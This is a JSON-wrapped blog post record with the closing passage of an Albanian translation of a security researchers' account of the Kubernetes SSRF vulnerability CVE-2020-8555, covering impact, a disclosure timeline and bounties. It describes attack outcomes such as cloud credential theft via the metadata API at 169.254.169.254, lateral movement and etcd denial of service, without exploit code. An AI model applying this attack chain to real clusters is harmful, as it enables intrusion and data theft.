prova.<\/p>\n<p>Duke p\u00ebrdorur nj\u00eb qasje t\u00eb till\u00eb, arrit\u00ebm t\u00eb realizojm\u00eb disa nga sulmet e m\u00ebposhtme n\u00eb klaster\u00eb t\u00eb ndrysh\u00ebm t\u00eb ofruesve t\u00eb menaxhuar K8s: elevimi i privilegjeve me marrjen e akreditimeve n\u00eb instancat metadata, DoS p\u00ebr masterin p\u00ebrmes (pa shifruar) k\u00ebrkesave HTTP n\u00eb instancat e masterit etcd etj.<\/p>\n<h2>Pasojat<\/h2>\n<p>\nN\u00eb deklarat\u00ebn zyrtare t\u00eb Kubernetes n\u00eb lidhje me vulnerabilitetin SSRF t\u00eb zbuluar nga ne, i \u00ebsht\u00eb dh\u00ebn\u00eb nj\u00eb rang <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. N\u00ebse shqyrtohet vet\u00ebm vulnerabiliteti i lidhur me perimetrin e Kubernetes, vektori i integritetit <i>(integrity vector)<\/i> n\u00eb t\u00eb \u00ebsht\u00eb klasifikuar si <b>Asnj\u00eb<\/b>.<\/p>\n<p>Megjithat\u00eb, vler\u00ebsimi i pasojave t\u00eb mundshme n\u00eb kontekstin e ambientit t\u00eb sh\u00ebrbimit t\u00eb menaxhuar (dhe kjo ishte pjesa m\u00eb interesante e k\u00ebrkimit ton\u00eb!) na inkurajoi ta riclasifikojm\u00eb vulnerabilitetin n\u00eb rang <b>Kritik CVSS10\/10<\/b> p\u00ebr shum\u00eb distributor\u00eb.<\/p>\n<p>M\u00eb posht\u00eb gjeni informacion shtes\u00eb q\u00eb do t'ju ndihmoj\u00eb t\u00eb kuptoni se \u00e7far\u00eb na drejtoi n\u00eb vler\u00ebsimin e pasojave t\u00eb mundshme n\u00eb ambientet cloud:<\/p>\n<h3>Integriteti<\/h3>\n<p><\/p>\n<ul>\n<li> Ekzekutimi i komandave t\u00eb larg\u00ebta me akreditimet e brendshme t\u00eb marra.<\/li>\n<li> Riprodhimi i skenarit t\u00eb m\u00ebsip\u00ebrm p\u00ebrmes metod\u00ebs IDOR (Insecure Direct Object Reference, dometh\u00ebn\u00eb lidhje t\u00eb drejtp\u00ebrdrejta t\u00eb pasigurta n\u00eb objekte) me burime t\u00eb tjera t\u00eb zbuluara n\u00eb rrjetin lokal.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Privat\u00ebsia<\/h3>\n<p><\/p>\n<ul>\n<li> Sulmi i tipit <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> fal\u00eb vjedhjes s\u00eb akreditimeve t\u00eb cloud-it (p.sh. metadata API).<\/li>\n<li> Mblidhja e informacionit p\u00ebrmes skanimit t\u00eb rrjetit lokal (p\u00ebrcaktimi i versionit SSH, versionit t\u00eb serverit HTTP, \u2026).<\/li>\n<li> Mblidhja e informacionit mbi instancat dhe infrastruktur\u00ebn p\u00ebrmes pyetjeve n\u00eb API-t\u00eb e brendshme, t\u00eb tilla si metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Vjedhja e t\u00eb dh\u00ebnave t\u00eb klient\u00ebve me an\u00eb t\u00eb akreditimeve t\u00eb cloud-it.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponueshm\u00ebria<\/h3>\n<p>\nT\u00eb gjitha skenaret e p\u00ebrdorimit t\u00eb exploiteve t\u00eb lidhura me vektor\u00ebt e sulmit n\u00eb <b>integritet (cel\u00ebsin)<\/b>, mund t\u00eb p\u00ebrdoren p\u00ebr veprime shkat\u00ebrruese dhe t\u00eb \u00e7ojn\u00eb n\u00eb at\u00eb q\u00eb instancat master nga perimetrat e klientit (ose \u00e7do perimter tjet\u00ebr) do t\u00eb ishin t\u00eb paq\u00ebndrueshme.<\/p>\n<p>Duke ishim n\u00eb nj\u00eb mjedis t\u00eb menaxhuar K8s dhe vler\u00ebsuam ndikimin n\u00eb integritet, mund t\u00eb imagjinojm\u00eb shum\u00eb skenar\u00eb q\u00eb mund t\u00eb ndikonin n\u00eb disponueshm\u00ebrin\u00eb. Si shembuj t\u00eb tjer\u00eb, mund t\u00eb p\u00ebrmendim d\u00ebmtimin e baz\u00ebs s\u00eb t\u00eb dh\u00ebnave etcd ose kryerjen e nj\u00eb thirrjeje kritike n\u00eb API-n\u00eb e Kubernetes.<\/p>\n<h2>Kronologjia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 Dhjetor 2019: d\u00ebrgimi i nj\u00eb mesazhi p\u00ebr shfaqjen e nj\u00eb dob\u00ebsie n\u00eb MSRC Bug Bounty.<\/li>\n<li> 3 Janar 2020: nj\u00eb pal\u00eb e tret\u00eb informoi zhvilluesit e Kubernetes se ne po punonim p\u00ebr nj\u00eb problem n\u00eb fush\u00ebn e siguris\u00eb. Dhe i k\u00ebrkoi atyre ta shqyrtonin SSRF si nj\u00eb dob\u00ebsi in-core. Pas k\u00ebsaj ne paraqit\u00ebm nj\u00eb raport t\u00eb p\u00ebrgjithsh\u00ebm me detaje teknike mbi burimin e problemit.<\/li>\n<li> 15 Janar 2020: ne i ofruam zhvilluesve t\u00eb Kubernetes raporte teknike dhe t\u00eb p\u00ebrgjithshme sipas k\u00ebrkes\u00ebs s\u00eb tyre (p\u00ebrmes platform\u00ebs HackerOne).<\/li>\n<li> 15 Janar 2020: zhvilluesit e Kubernetes na informuan se half-blind SSRF + injeksioni CRLF p\u00ebr l\u00ebshimet e kaluara konsiderohet si nj\u00eb dob\u00ebsi in-core. Ne menj\u00ebher\u00eb ndaluam analiz\u00ebn e perifereve t\u00eb ofruesve t\u00eb tjer\u00eb t\u00eb sh\u00ebrbimeve: shkaku kryesor tani ishte n\u00eb duar t\u00eb ekipit K8s.<\/li>\n<li> 15 Janar 2020: shp\u00ebrblimi mori p\u00ebrmes HackerOne nga MSRC.<\/li>\n<li> 16 Janar 2020: Kubernetes PSC (Komiteti p\u00ebr Sigurin\u00eb e Produktit) e njohu dob\u00ebsin\u00eb dhe k\u00ebrkoi q\u00eb t\u00eb mbahej n\u00eb fsheht\u00ebsi deri n\u00eb mes t\u00eb marsit p\u00ebr shkak t\u00eb numrit t\u00eb madh t\u00eb viktimave t\u00eb mundshme.<\/li>\n<li> 11 Shkurt 2020: shp\u00ebrblimi iu dha nga Google VRP.<\/li>\n<li> 4 Mars 2020: shp\u00ebrblimi mori p\u00ebrmes HackerOne nga Kubernetes.<\/li>\n<li> 15 Mars 2020: shp\u00ebrndarja publike e planifikuar fillimisht u shty p\u00ebr shkak t\u00eb situat\u00ebs me COVID-19.<\/li>\n<li> 1 Qershor 2020: nj\u00eb deklarat\u00eb e p\u00ebrbashk\u00ebt nga Kubernetes + Microsoft mbi dob\u00ebsin\u00eb.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Ne po pim\u00eb birr\u00eb dhe po ham\u00eb pizz\u00eb \ud83d\ude42<\/li>\n<li> Ne zbulonim nj\u00eb dob\u00ebsi in-core n\u00eb Kubernetes, ndon\u00ebse nuk kishim planifikuar ta b\u00ebnim k\u00ebt\u00eb.<\/li>\n<li> Ne kryem nj\u00eb analiz\u00eb t\u00eb m\u00ebtejshme n\u00eb klaster\u00ebt e ofruesve t\u00eb ndrysh\u00ebm t\u00eb cloud-it dhe arrit\u00ebm t\u00eb rrisim d\u00ebmin q\u00eb shkaktonte dob\u00ebsia, p\u00ebr t\u00eb marr\u00eb bonuse t\u00eb tjera t\u00eb shk\u00eblqyera.<\/li>\n<li> N\u00eb k\u00ebt\u00eb artikull do t\u00eb gjeni shum\u00eb detaje teknike. Ne do t\u00eb g\u00ebzohemi t\u00eb diskutojm\u00eb p\u00ebr to me ju (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Doli se formalitetet dhe hartimi i raporteve po merrnin shum\u00eb m\u00eb tep\u00ebr koh\u00eb se sa ishte pritur.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Linket<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Grupi Google kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. nga p\u00ebrkthyesi<\/h2>\n<p>\nLexoni gjithashtu n\u00eb blogun ton\u00eb:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">Gjuetia p\u00ebr gabimet n\u00eb Kubernetes \u00ebsht\u00eb zyrtarisht e hapur<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">dalja jasht\u00eb pod-it n\u00eb Kubernetes p\u00ebrmes montimit t\u00eb log-eve<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ mjete p\u00ebr sigurin\u00eb e Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Burimi: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.2.1 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.2.1\" \/>\n\t\t<meta property=\"og:locale\" content=\"sq_AL\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Kur \u00ebsht\u00eb fjala jo vet\u00ebm p\u00ebr nj\u00eb dob\u00ebsi n\u00eb Kubernetes\u2026 | ProHoster","description":"Sh\u00ebn.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}